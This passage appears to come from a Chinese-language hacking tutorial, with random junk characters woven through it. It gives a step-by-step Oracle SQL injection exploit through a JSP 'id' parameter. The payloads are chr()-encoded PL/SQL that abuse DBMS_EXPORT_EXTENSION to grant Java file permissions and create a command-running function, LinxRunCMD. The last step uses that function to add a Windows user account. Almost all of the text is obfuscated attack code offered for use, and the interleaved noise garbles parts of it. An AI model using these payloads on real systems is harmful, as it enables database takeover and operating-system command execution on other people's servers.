chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||; L1 ?9 c! R! u4 I3 \
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
+ C+ o$ U0 m6 y) Pchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
8 ]; _7 R3 p+ o& ~( `# r,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual0 s) S6 F7 S# C

* c/ I3 u( r, Z, F! w' x)7 N( J0 O0 y5 V
, c  m/ D3 Z, ?' i, _/ E1 F
------------------------------: l: Q) x0 t8 d- V6 U+ D
9 m+ n; N# d  H8 f; O0 h+ e1 P8 _
2.赋Java权限) d3 I* @6 s2 a) e; \* M
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
) }2 E: R5 N3 _5 K7 v
; [- |+ ?0 N5 e* s* K& ?& Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
+ _% H  H. m+ U: y5 C3 ?2 m" R$ vchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||$ n" U% ~- w( p1 D
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||9 P' v5 H2 H4 j2 A; C# l" l
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||1 r6 W: F1 ?* X. x" G& Z
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||3 _$ b9 \$ T' L' F, ?# ^
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||0 X3 w' C/ P; j8 X" y: l* j
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||1 ]8 Z' n( d2 q. w+ x
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||, M6 \+ p+ u, v8 C, V
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||1 K! m5 b- }! `0 j4 I& Z. n
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
, ~! F7 l" b* e$ z7 H; h,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual" y; P) ^! W& ]4 \" l' d
- {& @9 i% l2 l- B- j0 M
)
7 B6 b* t: C# n4 ?
9 a* ]% z8 y9 n( Q" dreadfile函数的ascii版就不写了,见谅。
  H0 u: ?2 n8 O  l+ Q8 u
- m: Z, F* R0 I6 [3.创建函数
1 s, w: j- E6 b+ e3 ^7 N( y" F0 r5 |: N. A. k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82)," u+ r' h) [* k+ M
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||/ Y. J" k9 o6 n3 [# ^8 U. m4 K
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||6 X2 v9 W- ]& b4 Q% P6 _" E$ o3 x; V
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||3 F8 F3 ^6 N7 O* X- Q
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
8 z; Q- p" Q. H) ?" ]& Echr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
( U  b4 b4 C7 M: hchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
0 O4 A, i; o6 g. f4 s  t# [chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||) Z. Y! v8 O4 @
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||: a! B9 U" E6 p% i
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||- f9 g% Q& H& T
chr(59)||chr(45)||chr(45)
9 Y! ^. m9 \3 O% M,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual9 e! m0 R0 K' B0 v& g
2 f% w  t' h$ k; ^2 [) l8 e/ V

. F7 ^7 t& e5 \' p+ @' E* L
: W0 W/ G1 m/ j2 a$ _4.赋public执行函数的权限1 Y& A) c7 A" z! o' G

: X9 q! Q& X5 Q+ L4 }( R* Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),% ?/ [# m2 r8 L) o
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||4 D9 X5 j1 \  B+ J2 Z& A; e* }
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
' {0 m, F6 R( m6 U" L0 pchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||% Y9 U% U8 a( U- z# s. ~
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
0 l) G0 Z+ g  r6 ~9 ?chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||2 S! L6 e/ I" d, O  C3 H
chr(59)||chr(45)||chr(45)( N, O$ k* B, m) e+ @2 g: C
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
7 E2 q) P/ `/ X" B
* W" o, t" x" X8 j2 n2 A* F3 _) S0 i# ~- b) t) {7 T( a
& k6 j+ l% h# E$ B3 m3 D- E0 |
5.执行命令:: `; B9 `# |, l1 d( M
- V  u8 t6 q& J- A8 Y5 }
/xxx.jsp?id=1 and chr(49)<>chr(32)||(3 H3 K1 [. s' N" R. l
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
$ ?9 @$ W0 i$ V9 D5 k)% k' O4 Z5 e* w" ^4 c2 \4 s

" @, Q- n, }. G0 a/ }8 v  U
  c1 R$ r3 a4 ?. Z. w/xxx.jsp?id=1 and chr(49)<>chr(32)||(
) F* n/ ~) D" z. J5 T- p( Qselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual* K& K+ z) b) {9 z( `# e
)
/ K# h, K3 \2 G0 t% U2 G0 g( [
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